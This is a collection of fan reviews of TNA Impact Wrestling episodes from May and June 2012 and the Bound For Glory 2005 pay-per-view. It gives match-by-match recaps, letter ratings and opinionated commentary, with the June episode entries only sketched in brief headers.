Impact Wrestling – June 21, 2012: Impact Keeps Rolling Along

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Date: June 21, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Bound For Glory Series: Mr. Anderson vs. Christopher Daniels

Robbie challenges anyone in the BFG Series to a match.

Bound For Glory Series: Robbie E. vs. Kurt Angle

Suplex, Angle Slam, ankle lock, ten points for Angle in 31 seconds.

Video on Taeler Hendrix who is the Gut Check girl tonight.

Bound For Glory Series: AJ Styles vs. Magnus

Taeler Hendrix vs. Tara

Bound For Glory Series: Samoa Joe vs. James Storm

We recap the AJ/Dixie stuff which has been going on for awhile now.

Back to the Knockouts Reality Show with Velvet saying she never got a rematch. ODB gets thrown out because of Eric Young. Next.

Knockouts Title: Miss Tessmacher vs. Mickie James

Bound For Glory Series: Rob Van Dam vs. Jeff Hardy

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Impact Wrestling – June 14, 2012: Sting Closes Another Show

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Date: June 14, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

We open with a video on Storm, who returned at the PPV and is coming for the title again.

X-Division Title: Austin Aries vs. Chris Sabin vs. Zema Ion

Ion immediately goes to the corner and is promptly pulled down and gets LAUNCHED into the corner. Aries and Sabin have a nice gymnastics routine resulting in Aries taking Sbain down for the Pendulum Elbow. Ion pops back up and goes for the belt, only to be taken down by Sabin almost immediately. Sabin comes back with the springboard tornado DDT but Aries stops Sabin from going for the belt.

TV Title: Hernandez vs. D-Von

We recap AJ/Dixie/Serg last week.

Bound For Glory Series: Gauntlet Match

#9 is Daniels, giving us Daniels, Pope, AJ, Angle, Robbie and Magnus in the ring at the moment. Angle and AJ try to double team him but AJ accidentally kicks Angle in the head, allowing Daniels to toss Styles. He tosses Angle too and Joe is #10. Joe throws out Robbie with ease and fights off everyone ganging up on him. He and Magnus have a showdown and a low bridge puts the British guy out.

Miss Tessmacher vs. Madison Rayne

TNA World Title: Bobby Roode vs. Mr. Anderson

We get a long recap of the whole show up to this point.

We get the Sting HOF video.

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Impact Wrestling – June 7, 2012: As The Impact Zone Turns

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Date: June 7, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Crimson vs. Austin Aries

Hogan says nothing of note about Brooke.

Mickie James vs. Tara vs. Velvet Sky vs. Brooke Tessmacher

Bully Ray is ready for the contract signing later.

We see the opening segment again.

Hulk yells at AJ on the phone.

Joey Ryan rants about Gut Check from last week. Al Snow comes up and tells him to drop it.

TV Title: Robbie E vs. D-Von

This is the FIFTH TV Title between these two. Garrett is seconding D-Von here. Madison comes out to watch this, so her guy is one of the four. Robbie jumps him to start and takes over with basic offense. D-Von spears him down and hits a clothesline and elbow to the face. A flying shoulder takes Robbie down. Rock Bottom is followed by a headbutt, but Robbie T interferes. The seconds get into it but the distraction allows Robbie T to switch a small package. He gets caught and Garrett switches it so D-Von retains at 2:50.

We run down the Slammiversary card, which only has five announced matches plus an open challenge.

Kazarian/Christopher Daniels/Bobby Roode vs. Kurt Angle/AJ Styles/Sting

Off to a chinlock and Sting is in trouble. Slingshot elbow from Daniels and a slingshot legdrop from Kaz combine for two. A spinwheel kick from Kaz gets the same and Sting can barely stand. Off to Roode who drops a knee and chokes with the boot. Roode misses a charge but Sting misses a splash and both guys are down.

Sting holds up the title to end the show.

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Impact Wrestling – May 31, 2012: It’s Live And That’s About It

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Date: May 31, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

This is a big night tonight as not only are we moving up to 8pm, but it’s also a live show. We’re opening with Roode vs. Sting because this is all about hot new acts like Sting. Other than that I don’t think there’s anything scheduled other than the Gut Check Challenge and the debut of Brooke Hogan. Oh joy. Let’s get to it.

We open with the lumberjacks at ringside and the champ is on first, along with Who.

Sting vs. Bobby Roode

This is non-title. Sting takes him down almost immediately and Roode is staggered. The champ pokes him in the eye but since this is Sting, it has no effect. Roode gets sent to the corner and kicked to the floor as the fans are into this for the most part. Sting kicks him back to the floor and again he gets thrown back in. The Splash misses and Sting is knocked to the floor where the heels get in some weak shots.

Back in and Sting comes back with a backdrop so Roode rolls back to the floor. Roode suckers him to the floor where the heels get in a better beatdown and the melee is about to begin. It doesn’t quite start yet as Roode is in control, taking Sting to the mat and dropping a knee for two. Another Stinger Splash is countered by a boot to the face. Roode sends him to the floor and Sting beats up some lumberjacks as we take a break.

Back with Roode in control and sending Sting to the floor again. Roode chops in the corner which fires Sting up as it has for 24 years. Stinger Splash hits and Roode bails to the floor. It looks to be a big brawl but Sting dives over the top and takes out most of the champ’s supporters. Back in the ring the Scorpion is countered into the Crossface but Sting is too close to the ropes. Fisherman’s Suplex is countered into the Death Drop and the Deathlock in the middle of the ring. Roode taps and Sting wins at 13:40. Apparently this was non-title like I thought.

Rating: C-. So uh….why in the world wouldn’t Hogan have made that a title match? He has every authority to, but for some reason he just didn’t. This gives Roode an opponent for the PPV I guess, and it’s Sting? Not Hardy, Angle or some group of people? I mean, didn’t we get Sting vs. Roode for the title like three months ago? Didn’t Roode beat him? Of course he did, so let’s do it again at the ten year anniversary show.

Hogan comes out post match and makes Sting vs. Roode for the title at Slammiversary.

Madison is straightening her sash in the back because she wants to look good for the guy that likes her. Oh and Brooke is going to be here later.

Here’s Bully Ray in the ring and he wants Joseph Park, who is in the crowd with a soda (label torn off) and popcorn. We get a clip from last week and Ray wants to fight Park right now in the ring. Park comes to the ring and stops. Ray calls all of Park’s family cowards, including Abyss, which draws Park over the railing. After Ray tells security to let him in, here’s Joseph to the ring.

Park kind of Hulks Up but backs off. He’s about to leave and Ray says he’s guilty of taking out Abyss. You know, the guy that popped up a few weeks ago and was fine. Park grabs Ray by the throat but Ray says he’ll sue. Park lets him go and says he’s better than this. Ray leaves and Park challenges him to a fight right now. Ray says at Slammiversary.

Video on Crimson’s undefeated streak. Crimson says he can’t be beaten.

X-Division Title: Chris Sabin vs. Austin Aries

Aries is getting ready in the back when Joe comes up. Aries doesn’t see Joe and nothing is said, so I’m assuming that’ll be a major plot point later. Sabin is in trunks again. Aries takes him down with an armdrag but misses a seated dropkick. Sabin goes to the apron but Aries counters the sunset flip into the previously failed seated dropkick, getting two. A slingshot hilo and an elbow drop gets two.

La Majistral gets two for Sabin as he takes over. Aries sends him to the floor and hits the suicide dive. That gets him nowhere other than in the Tree of Woe, but the hesitation dropkick misses. Missile dropkick by Aries puts Sabin in the corner but his dropkick misses and Sabin baseball slides him to the floor. A springboard dive takes the champ out and Sabin hits a slingshot suplex into a neckbreaker for two. Cradle Shock and Brsinbuster are countered. Cradle Shock is countered again into a rollup for the pin at 3:55.

Rating: B-. Man they packed a lot into under four minutes. Sabin as a singles guy is something that could work very easily and using Aries for something like this every once in awhile is fine. That being said, they need to make him a full time non-X guy soon, while the chance is still there. Match was pretty good though.

We see Hogan and Tazz from earlier, and apparently Tazz is replacing Flair in Gut Check.

The Gut Check guys look over Joey Ryan’s match from last week. It’s kind of interesting to see Tazz be all humble here when he’s the biggest star of these three. They talk about how Ryan looks different but Tazz questions how seriously he took his opportunity. Pritchard says he wasn’t blown away. This is in the back and yesterday by the way.

The four possible challengers for D-Von (RVD, Anderson, Hardy and Robbie E) are in the back. The fans get to vote for who they want to see get the show.

Here’s Dixie Carter. She says that at Slammiversary, we’ll announce the first ever TNA Hall of Fame inductee. She talks about the Knockouts needing a new leader and here’s Brooke in a little black dress. Brooke says thanks and that’s it. No mention of the AJ thing at all.

We go to Kaz and Daniels in the back who criticize Dixie’s speech, saying there was nothing about the real issue with AJ in there at all.

Moment #5 is Christian debuting.

TV Title; D-Von vs. ???

To the shock of no one with a total of 4 brain cells or more, it’s Jeff Hardy. D-Von gets some quick rollups for two and it’s a standoff. Jeff shrugs off D-Von’s offense and hits a clothesline in the corner. A charge misses in the corner and D-Von neckbreakers him down for two. Off to a nerve hold which Jeff easily breaks. Twist of Fate looks to set up the Swanton and here are the Robs for the DQ.

Rating: D+. Not much here as it was pretty clear they were just filling time. Jeff’s star has fallen pretty far that he’s just in the TV Title picture, although I don’t think this is going to be a long term thing. That being said, Robbie vs. D-Von is more played than a slot machine in Vegas. The match wasn’t bad or anything, but dang I do not want to see either Rob vs. D-Von ever again.

We go to James Storm’s farm where he talks about being from a small town and how he wouldn’t want it any other way. He likes hanging out with his daughter. He’s made a decision about coming back or not but cuts the camera off before he says it.

We recap the way too long Daniels/Kaz/AJ saga.

Now it’s time for Gut Check. The judges are Bruce Pritchard, Al Snow and Taz. Here’s Joey Ryan in gear for some reason. Ryan says the judges should be honored to be in the ring with him and that he’s trending on Twitter. Pritchard says no, Snow says yes, and Ryan gets to cut a promo before Tazz’s vote. The fans are chanting for him and Ryan says to listen to the fans. Tazz says that if that’s the best Ryan can do, he’s out of his mind. He gets in Ryan’s face and yells at him, saying no. Tazz says go out and prove yourself then come back. Right now it’s no though.

We get a clip of Roode in London and cutting a promo in front of Big Ben. Not much to say here.

AJ Styles vs. Christopher Daniels

AJ is all ticked off here and rants a lot in between each move he hits. The dropkick puts Daniels down but he gets in a right hand to take over. AJ goes to the apron but Daniels’ suplex attempt back in is countered. He guillotines Styles and sends him into the barricade to put Styles in trouble. We take a break and come back with Daniels hitting a springboard moonsault for two.

AJ avoids a charge and takes Daniels down with some elbows. Flying forearm hits and both guys are down. Scratch that as AJ nips up and hits the moonsault into the DDT minus the DDT as Daniels counters. Daniels goes to the apron and gets Pele’d back inside. Kaz comes out and gets drilled, allowing AJ to hit the moonsault into the DDT for the pin at 10:33.

Rating: C. These two know each other so well that they could have a match in their sleep, which is more or less what they did here. Nothing special to it or anything and Kaz didn’t add much. I do however like the match ending with something other than a finisher, which is a lost art in wrestling. Decent match and nothing more.

Post match AJ gets double teamed until Angle makes the save. He puts Kaz in the ankle lock but Daniels comes back to take him down. Angle gets tied to the ropes and AJ gets drilled with a title belt. Daniels tells the fans that they’re welcome, and now we’re going to get to see more proof of AJ and Dixie. He says they have proof from the mouths of the two of them. It’s a phone call of them talking with Dixie talking about AJ coming somewhere and him wanting to find out when her husband will be there. Nothing specifically is said but Dixie runs out and says cut it off to end the show.

Overall Rating: D+. If this is supposed to get me fired up about the rest of the summer, it didn’t do a very good job. The show was just ok at best with nothing of note really happening. Sting vs. Roode doesn’t blow my skirt up at all and for what is supposed to be a major PPV, that doesn’t do much. Brooke came off as completely unwanted, which means we’ll see her every week. Four matches, two of which combined to run about 8 minutes, didn’t help either. It wasn’t horrible, but for what was supposed to be a big deal, this fell very flat.

Results
Sting b. Bobby Roode – Scorpion Deathlock
Austin Aries b. Chris Sabin – Rollup
D-Von vs. Jeff Hardy went to a no contest when Robbie E and Robbie T interfered
AJ Styles b. Christopher Daniels – Reverse DDT

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Bound For Glory 2005: If All TNA Shows Were Like This, I’d Rarely Complain

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Date: October 23, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

It’s the biggest show of the year (I think it was back then at least) and the main event is Nash vs. Jarrett. In theory at least, as Nash has come down with his latest life threatening illness and has to back out. Therefore we’re going to shuffle the card around and have a ten man Gauntlet for the Gold with the winner immediately getting a shot at Jarrett. There’s a celebrity guest referee for the main event in UFC legend Tito Ortiz. Let’s get to it.

The opening video is about how this started a year ago at Victory Road and how hard they’ve all worked in the year since then. We actually see their voiceover guy who is a large black man. Tonight is their night.

Samoa Joe vs. Jushin Thunder Liger

Joe gets the full tribal entrance. Liger gets the streamers and offers a handshake but we cut to a shot of the NJPW owner so I don’t know if Joe shook it. The fans are behind Joe here and he runs Liger over a few times. Out to the floor and Liger takes over, hitting a big dive onto Joe. Back in Joe hits knees in the corner and the fans are split. A kick sets up a knee drop for two. Tenay talks about Monday Nitro as Joe hits a powerslam for two.

Now the fans are just chanting for Liger. I’m not sure why as Joe has been doing his usual stuff and isn’t acting like a heel or anything. Could it be because the fans change their minds faster than they can change a tire? Liger gets in a Liger Kick and hits a suplex for two. Considering the size difference that’s not bad. Frog Splash gets two. Liger’s palm thrust is avoided and Joe hits a kick to the head to take over. Joe’s superplex is countered into a powerbomb for two. A pair of palm thrusts get the same. Liger goes up but gets caught in the MuscleBuster and the Clutch ends this.

Rating: D+. That’s it? The match was ok but for something that they were building up as close to a dream match, I’d expect more than a seven minute match with Joe barely having to break a sweat. I’m glad that they brought in Liger who people at least know rather than some Japanese guy that about 1% of their audience could name. That’s a plus. The match was pretty lackluster though.

Clip from Fanfest this weekend. The fans saying they don’t want soap operas is amusing today.

We see two fans who won a contest and get to train at the NJPW Dojo before joining the Impact roster. I don’t recognize them.

Simon Diamond fires up the Diamonds in the Rough.

Diamonds in the Rough vs. Apolo/Sonny Siaki/Shark Boy

The Diamonds are Elix Skipper, David Young and Simon Diamond. Shark Boy and Diamond get us going. Diamond takes him down with some kicks and a clothesline for two. Sharky comes back but the Dead Sea Drop is countered. He bites the tights of Diamond and we’re in comedy match territory. Off to Skipper who is taken down almost immediately by a drop toehold. Things speed up a bit so it’s off to Apolo.

Apolo is more of a power guy and gets two off a Diamond Cutter. A spinning half nelson slam looks to get a pin but Diamond distracts the referee. Young comes in with some cheating and the Diamonds take over. Skipper stays in and hits a kind of spear for two. Apolo comes back with a one man 3D to put both of them down.

Double tag brings in Siaki and Young but everything breaks down. Apolo hits a TKO on Young (he LOVES Cutters apparently) and Shark Boy dives on Skipper. Young takes both of them out with a spinning dive and Apolo dives on everyone but Simon. Skipper and Siaki go inside and Elix throws Siaki to Young for the spinebuster and the pin.

Rating: D+. Just a six man here. Apolo was a guy that had some potential to him but he wound up going back to Puerto Rico (I think) soon after this. The Diamonds were a lower midcard heel team that never really went anywhere. This wasn’t much for the most part but fill in matches like this were regular for TNA in these days.

We get some clips from the pre-show, one of which being of an X-Division fourway and the other of Larry Z yelling at Raven, resulting in Rhyno yelling at Raven and goring him. This is about both of them wanting the world title shot later tonight.

Jarrett laughs about Nash having chest pains and says he doesn’t care who he faces tonight. Jeff either just got out of the shower or it’s about 200 degrees in the back. He says screw all of his potential opponents. Monty Brown comes in and wants Jeff to say screw him too. He can smell the fear in Jarrett. This goes on for awhile.

Lance Hoyt vs. Monty Brown

Hoyt fires off some shoulders to start and “hits” a flapjack (Brown rolled through it for some reason) and they head to the floor. Brown sends him into the steps and back inside but due to Monty yelling at the crowd, Hoyt hits a dive (literally bouncing off Brown as they hit the floor). Back in the ring and Monty chops away in the corner. Hoyt punches away in the same corner, and it’s punches > chops in this case. Brown is face first down on the mat but as Hoyt goes up, Brown is playing possum. Nice job.

Back to the floor and Monty suplexes him onto the mats. Back in, Hoyt hammers away but Brown throws him down with a belly to belly. Lance gets up and hits a big boot and his moonsault, which still can’t get a pin. I never remember that getting a win actually. Hoyt goes up but jumps into the Alpha Bomb (fallaway slam position but Brown throws them up into a powerbomb) for two. Hoyt hits either a Rock Bottom or a chokeslam for two. And never mind all that Hoyt offense because a Pounce ends it.

Rating: C. I kind of liked this actually. Brown was a power guy and he didn’t need to be anything more than that. On the other hand you have Hoyt who was agile and good, but for some reason they refused to let him beat anyone significant. This was a decent power match but again it really didn’t need to be on PPV. There was no reason given for this match happening that I caught either.

Quick video on Global Impact.

3 Live Kru says they’re together and will fight tonight. Billy Gunn pops up to offer his help to take out D’Amore. Truth likes the idea as does BG but Konnan says no and storms off.

3 Live Kru vs. Team Canada

It’s Roode, Young and A-1 here. Eric and Konnan get us going as Tenay gives us a history of the New Age Outlaws. Konnan speeds things up and counters a headscissors into an Alabama Slam. Roode tries to come in but only manages to get caught in a three man What’s Up. Roadie and Truth hit some punches and dance some more then stomp on Roode a bit.

It’s Roode vs. Truth now with a hip toss getting two for the rapper. The annoying fans are shouting/singing something. Now they’re chanting USA for the team with a Cuban on it. Kip James is sitting on the stage, drawing a New Age Outlaws chant. A-1 comes in to choke on Truth in the corner. Those dastardly Canadians double and even triple team and it’s off to Roode. Truth hits his spinning forearm and tags in Road Dogg who cleans Canadian house. Shaky knee gets two on Roode. In the calamity, D’Amore’s distraction lets Roode get in a hockey stick shot and Young pins BG.

Rating: D. These teams feuded FOREVER and it never seemed to end. It wound up being about the Outlaws and to be fair, that’s probably the best possible outcome. The Canadians would just kind of float around for awhile until I think they broke up right around June of 06. The Kru would break up soon enough after this.

Post match the Canadians hold Konnan for Billy to hit him with a chair but he beats up all of the Canadians with it. Konnan isn’t sure what to do now but the Kru celebrates despite losing.

Shane Douglas asks Larry Z who is getting the shot tonight. Larry says he has a lot of options but is waiting for a word from upper management.

We recap the #1 contender’s match for the X Title. It’s Ultimate X which Williams has had some success in. Bentley and Sabin are in there due to needing two more spots filled in here.

Petey Williams vs. Chris Sabin vs. Matt Bentley

Ultimate X, #1 contender’s match. Petey goes up but Sabin pulls him down and the faces (I think?) beat on him a bit. Williams counters a suplex from Sabin into one of his own but Bentley comes in with a kick to slow Petey down again. Wheelbarrow suplex puts Williams down again and Bentley goes up. Petey takes Matt down again but Traci’s (Bentley’s chick) rack distracts him. Matt goes up but Sabin pulls him down.

It’s Sabin vs. Bentley at the moment while D’Amore coaches Williams. Sabin picks Williams up and puts him in Razor’s Edge position, throwing him at Bentley in the corner. Sabin tries to climb but barely gets started before Bentley makes the save. We’re way too early in the match for a potential win anyway. Petey sends Bentley to the floor and hits a SWEET slingshot rana to put him down even further.

Everyone is back in now and Bentley hits a neckbreaker on Sabin and a cutter on Williams at the same time. Matt goes climbing but Sabin follows him and hooks a powerbomb to take both guys down in a painful looking move. Sabin gets caught in the Tree of Woe so Petey sings O Canada. Bentley pops up and dropkicks him off and out to the floor before going up. Sabin gets out of the Tree and shoves him down, before diving on both guys when the X was there for the grabbing because Sabin is an idiot.

Sabin goes up and Bentley dives at him with a shoulder block. That knocks Sabin down, but it knocks the X down as well. We more or less stop the match so that the crew can put the X up again with a ladder. The fans chant USE THE LADDER. Sabin and Bentley go up for the X but knock each other off. The X falls and Petey catches it, so TNA says screw the rules, Williams wins.

Rating: D+. The match was good, but there’s really no excuse for the ending. Put it up there again and have someone get it immediately or whatever, but COME ON. This was just freaking stupid and it makes the company look inept because they can’t get their own signature match right. Invest in some better tape guys.

We recap the tag title match. AMW interfered at a house show to get the title off of Raven and onto Jarrett again and then Jarrett helped AMW destroy Team 3D. Look up the funeral for Team 3D. It’s absolutely hilarious. AMW beat down the Naturals as well for the titles so tonight it’s about revenge as well as the belts for them.

Tag Titles: America’s Most Wanted vs. The Naturals

I can never remember which one is Stevens and which one is Douglas. It’s a big brawl on the floor to start with the Naturals in control. Ok Douglas has the bandage on his head. Got it. Storm gets powerbombed into the railing which looked SICK. The challengers get Harris in the ring and beat him down in the corner. Storm is walking out on the match. The Naturals go back and get him because it’s about revenge more than the titles. I can live with that if it’s done right and it has been here.

We’re over three minutes into this and there has been no tagging or one on one in the ring at all so far. Harris gets choked by both Naturals on the floor until they get bored and Douglas goes after Storm. Gail finally does something and distracts Douglas, allowing Storm to send him into the Ultimate X structure. Douglas’ cut is busted open now. Five minuets in now and they’re in the ring but it’s still 2-1.

Ok it’s FINALLY Storm vs. Douglas. Eye of the Storm gets two and Harris comes in without a tag. Stevens comes in after Douglas was in trouble for about a minute. Douglas is bleeding pretty good though so that likely has something to do with it. A Naturals double team gets two on Storm. The move that would later be named the Last Call misses and Stevens hits a kick of his own for two.

Gail throws in some powder to Harris but Chase Stevens knocks it into the Wildcat’s face. Harris hits the Catatonic (spinning Rock Bottom, his finisher) on Storm. The Naturals hit the Death Sentence on Harris but it only gets two. Gail breaks up the Natural Disaster (double team elevated Stunner) so Douglas goes to the floor and grabs her by the hair. The distraction lets Harris handcuff Douglas to the barricade. Stevens his an enziguri on Storm but Harris busts a bottle over Stevens’ head and the Death Sentence retains the title.

Rating: B. WOW. This was only about ten minutes long but they flat out DO NOT STOP the whole time. It’s a wild brawl and I bought into the revenge that the Naturals were wanting the whole way. The biggest criticism of the Naturals is that they have no charisma, but man they were bringing it here and the match WORKED. Very good stuff. AMW would hold the titles for over eight months until the dream team of Styles and Daniels took them away.

We recap the Monster’s Ball feud. It’s Abyss vs. Rhyno vs. Sabu vs. Raven. This is when they still had the idea that each guy was held without food, water, light or human contact before the match. That was a bonus deal for these matches in the early days but it was dropped I think after this one.

James Mitchell says that Abyss (who is behind him despite the rule being that he has to be released right before the match) will be ready because he’s used to being put through torture.

Rhyno vs. Jeff Hardy vs. Sabu vs. Abyss

WHOA WHOA WHOA. Rhyno was at the preshow remember? So they can’t even get their own rules straight. This is Monster’s Ball, which means it’s a wild brawl where anything goes. The power guys jump Hardy to start but Sabu pelts the chair at Abyss to get him off. Rhyno gets knocked to the floor and Sabu dives onto him as Hardy dives at Abyss. This is falls count anywhere. Abyss gets knocked to the floor and Hardy dives on him too.

The announcers say that they were released when the PPV began this evening. That’s fine for Abyss, BUT RHYNO WAS ON THE FREAKING PRESHOW!. All four go into the crowd and Sabu’s eye is busted open. Jeff dives off a balcony and takes Abyss down. They all get back to ringside and Hardy and Abyss go back into the ring. Sabu tries a dive off the apron but Rhyno moves to send Sabu crashing onto the floor.

Whisper in the wind puts Abyss down but the Twist is countered into Shock Treatment which gets one for Sabu. Rhyno hits Abyss and Sabu with a chair and then hits Abyss again. Hardy uses Sabu as Matt for Poetry in Motion so Sabu beats him down. If someone tried to make me into Matt Hardy, I’d probably do the same. Now it’s Rhyno again with a kendo stick to kill everyone. The Gore is countered into a chokeslam onto a chair for two.

Hardy pulls out a ladder which winds up being rammed into his chest by Abyss. Abyss sets up a table near Hardy by the stage and then another next to it. Sabu sets one up between the ring and the barricade as a platform. Jeff chairs Abyss down and Sabu hits a triple jump dive through Rhyno and through the table. Hardy climbs up on top of the set and dives over the stage through Abyss through the table. If he went too short on that, he would literally be dead.

Back in the ring Sabu loads up the triple jump moonsault but Rhyno hits him with the stick to break it up. The fans think this is awesome. The Gore hits a chair in the corner and Sabu hits the triple jump moonsault for two. Abyss and Hardy crawl back to the ring with Abyss setting up a table in the corner. Sabu throws a chair at him but gets thrown to the floor and through a table for his trouble. Here come the tacks but Abyss gets Gored through the table. Hardy prevents a cover but walks into the Rhyno Driver (middle rope piledriver) for the pin.

Rating: B. This was another wild brawl and in this case it worked very well. That Swanton was absolutely incredible but at the same time REALLY scary. Rhyno looked good but the match was really a group effort. Much like the TLC matches, sometimes you just throw people out there and tell them to be violent and it works. That’s what happened here.

Larry says there’s a ten man Gauntlet For The Gold for the title match and the participants will all have competed earlier tonight. Shane thinks that’s unfair to Jarrett.

We recap the Iron Man match between Styles and Daniels that Styles won in overtime. Daniels said he could beat any three X Division guys that Styles picked in 15 minutes. The first two went down so the third was Styles which resulted in a brawl. The result: Iron Man II.

X-Division Title: AJ Styles vs. Christopher Daniels

AJ is defending and it has a thirty minute time limit under Iron Man rules. Daniels jumps AJ before the bell and we’re off quickly. He controls for the opening minute and they trade chops, won by AJ. A backbreaker puts Daniels down and onto the floor but Daniels blocks AJ’s dive. Daniels hits some palm strikes but Styles dropkicks him down. Back to the floor and Daniels is knocked into the crowd. AJ dives over the barricade and both guys are down.

They head back inside and AJ controls with a headlock. Five minutes in and the fans say both guys are awesome. The headlock stays on for a few minutes but you have to burn some time in a match like this. Daniels rolls out of it and hooks an armbar. AJ fights out of it and sends Daniels into a few corners. A hard kick puts Daniels down as it’s been almost all AJ so far.

Bridging Indian Deathlock goes on and Daniels is in big trouble, so he bited AJ’s hands to escape. Ten minutes in now. Daniels heads to the apron but AJ clotheslines him back into the ring. Springboard forearm is countered into a high collar suplex to put both guys down. Daniels takes over and twists AJ’s neck around a bit. That can’t feel good. A tilt-a-whirl backbreaker gets two and it’s off to a neck crank by Daniels.

AJ grabs a cradle out of nowhere for two and then another one for another two. Koji Clutch out of nowhere has AJ in trouble. AJ tries to power out of it but goes right back down. Another power out attempt works and AJ makes the rope. Slingshot moonsault gets two on the champion. We’re halfway through and it’s 0-0. AJ escapes a backbreaker and hits his moonsault into a reverse DDT.

Hammerlock belly to back suplex gets two as does a pumphandle gutbuster. That’s a new one. AJ tries a moonsault but gets caught in a Death Valley Driver for a very close two. Daniels puts him on the middle rope and flips him forward into a mat slam for two. AJ counters a neckbreaker into one of his own for a slightly delayed two. AJ tries the moonsault DDT again but gets caught in a spinning powerbomb for two. BME STILL doesn’t get a fall as it only gets a two count.

Ten minutes to go and AJ puts on a torture rack and then spins it out into a slam for two. AJ dives into the corner but Daniels moves and knocks Styles to the outside where he lands on the steps. A BIG suicide dive destroys AJ but Daniels can’t follow up due to exhaustion. As they come back in, AJ hits the Pele to knock Daniels back to the floor at 8 minutes to go. Another BIG flip dive takes Daniels out and both guys are down.

Seven minutes to go and both guys are down on the floor. As they get back in, Daniels blocks a suplex back inside and hits a belly to back suplex from the apron to the floor. That was pretty awesome, much like this match. Six minutes left and it’s still zero to zero. They’re both back in with five minutes to go. Scratch that as Daniels kicks AJ out of the ring before he was all the way in.

With about 4:25 to go they slug it out in the middle of the ring with AJ taking a slight advantage. Four minutes left. AJ has a big bruise on his leg. Small package gets two for the champion. Pele misses and Daniels rolls him up for two. AJ does the same and gets the same. Daniels hits a German suplex but AJ pops up and hits a discus lariat before collapsing. Under three minutes to go now.

AJ falls on top for two and we have two minutes left. Daniels channels his inner Piper and pokes AJ in the eye. That gets him nowhere because AJ gets to the apron and hits a springboard cross body for two despite a handful of tights. 90 seconds left and they trade forearms. The fans are split here. One minute to go and Daniels blocks a suplex. AJ kicks him in the head again but it only gets two. Daniels kicks him in the head but the Angel’s Wings are countered into a suplex for two. AJ hits the Clash with two seconds left for the only fall and the win. WOW that was a hot ending.

Rating: A. The only way to make this better would have been to say AJ loses the title in a tie. Still though, GREAT match here and pretty easily the best match I’ve ever seen these two have. That’s some pretty awesome timing too with AJ getting the pin literally with two seconds left. I know I complain about AJ and Daniels a lot, but back then it was great, with this being the best I’ve ever seen from them.

Gauntlet For The Gold

This is kind of like the Royal Rumble as everyone comes in after I think a minute and it’s over the top eliminations. The winner gets Jarrett immediately thereafter. Joe and Truth are the first two entrants. Oh ok these two go for two minutes and then every entrant is one minute. Got it. Truth dances for about 20 seconds to make fun of the Polynesian dance stuff earlier.

There’s no contact until 46 seconds in when Joe punches him in the face. Off to some Facewashes and the running boot. Truth pulls himself to the top and hits a Blockbuster. Downward Spiral puts Joe down and #3 is Sabu who can barely walk. He falls through the middle and bottom rope but has a chair. He BLASTS Truth with it and hits the triple jump moonsault on the same. Air Sabu hits Joe. Remember that there are only one minuet intervals from now on.

Joe throws the chair at Sabu’s legs and Lance Hoyt is in at #4. Joe no sells Hoyt’s punches but can’t no sell a big boot. Abyss is #5 who cleans house and has a staredown with Joe. They chop it out and Abyss grabs him for a chokeslam. Joe grabs HIM for a chokeslam, which is why Joe is awesome. And then Truth breaks it up because he likes to annoy me. Jeff Hardy is #6 and Sabu is busted open. No one has been eliminated yet.

Monty Brown is #7 and he’s limping for some reason. He Pounces Sabu and throws Hardy to the apron, but Hardy pulls him along with him to eliminate both guys. Abyss is almost out but he fights everyone off. #8 is Rhyno who also can barely walk. All of the Monster’s Ball people are in this. Rhyno easily clotheslines Hoyt out and we have five in and two still to go. Kip James (who didn’t wrestle earlier) is #9 and he cleans house. Fameasser to Abyss and AJ is somehow #10, meaning no Raven which is a surprise.

So we have Kip, AJ, Abyss, Joe, Sabu, Truth and Rhyno. AJ goes right after Abyss because he’s just that kind of guy. Apparently Sabu went out off camera somewhere so it’s down to six. Joe pounds on Kip and is the big crowd favorite. Things slow down a bit until AJ hits a big jumping kick to the head of I think Truth. Truth is put onto the apron but he hangs on. Kip charges like an idiot and goes out to get us down to five.

Pele puts Truth down and everyone is down. Abyss talks to Truth, calling him Ronnie. AJ throws Truth over but Kip holds him up from hitting the floor. And never mind as he goes out anyway. So it’s Rhyno, Abyss, AJ and Joe. There’s a solid tag match in there somewhere. AJ somehow explodes on Joe with forearms but gets caught in the choke next to the ropes. Abyss eliminates them both and apparently you win by over the top. Usually it’s a one on one match when it gets down to two. Gore to Abyss and Rhyno tosses him for the quick win.

Rating: C-. Considering that these guys had all fought tonight this wasn’t half bad. AJ had to be gassed after having to stop for about 10 minutes and then start up again. Raven belonged in there instead of freaking Billy Gunn but I think that was part of his feud with management so it made sense I guess. Still though, it was relatively short and the minute time limits weren’t so bad because there weren’t that many people in it.

NWA World Title: Rhyno vs. Jeff Jarrett

Tito Ortiz is guest referee. Jarrett brings out a casket for no apparent reason. He jumps Rhyno before the belt even comes off and hits a dropkick to put Rhyno down. Out to the floor and Rhyno gets rammed into the announce table and then the casket. Back in a top rope clothesline puts Rhyno down again. He’s had zero offense at all so far. Another top rope clothesline puts the challenger down again so Jeff goes up a third time. Rhyno catches him in chokeslam position but instead throws Jeff into the air and kicks him in the balls.

Gail Kim comes out as the Gore misses. Gail goes up but jumps into the arms of Tito. She tries to slap him so she gets placed on the apron. Guitar shot misses but the second one hits Rhyno square in the face. Rhyno is busted open but it only gets two. Jarrett yells at Ortiz and AMW comes out. There’s another guitar but Ortiz drills both members of AMW. Rhyno Gores Jarrett down and pins him out of nowhere in I think his second offensive move of the match.

Rating: C. The match was nothing great but at the same time, this was Rhyno’s third match of the night and second in a row, plus there was no story to the match but that’s certainly beyond TNA’s control in this case. The match only ran about six minutes and Tito didn’t have much to do with it but again I’m assuming it made more sense with Nash in there. All things considered, this wasn’t bad.

Post match AMW runs in to beat Rhyno down as Tito is gone. The 3 Live Kru runs down for the save so Team Canada comes in as well. The casket is brought into the ring and Rhyno takes another guitar shot to the head. They shut him into the casket and Jarrett holds up the belt. Team 3D returns and cleans house along with the Kru. Only Eric Young is left so he gets the 3D and gets thrown into the casket. Rhyno and company celebrate to end the show. This was a REALLY bad choice for an ending, but again I’m assuming it was for Nash where it would have made better sense. That being said, DON’T DO IT IN THIS CASE.

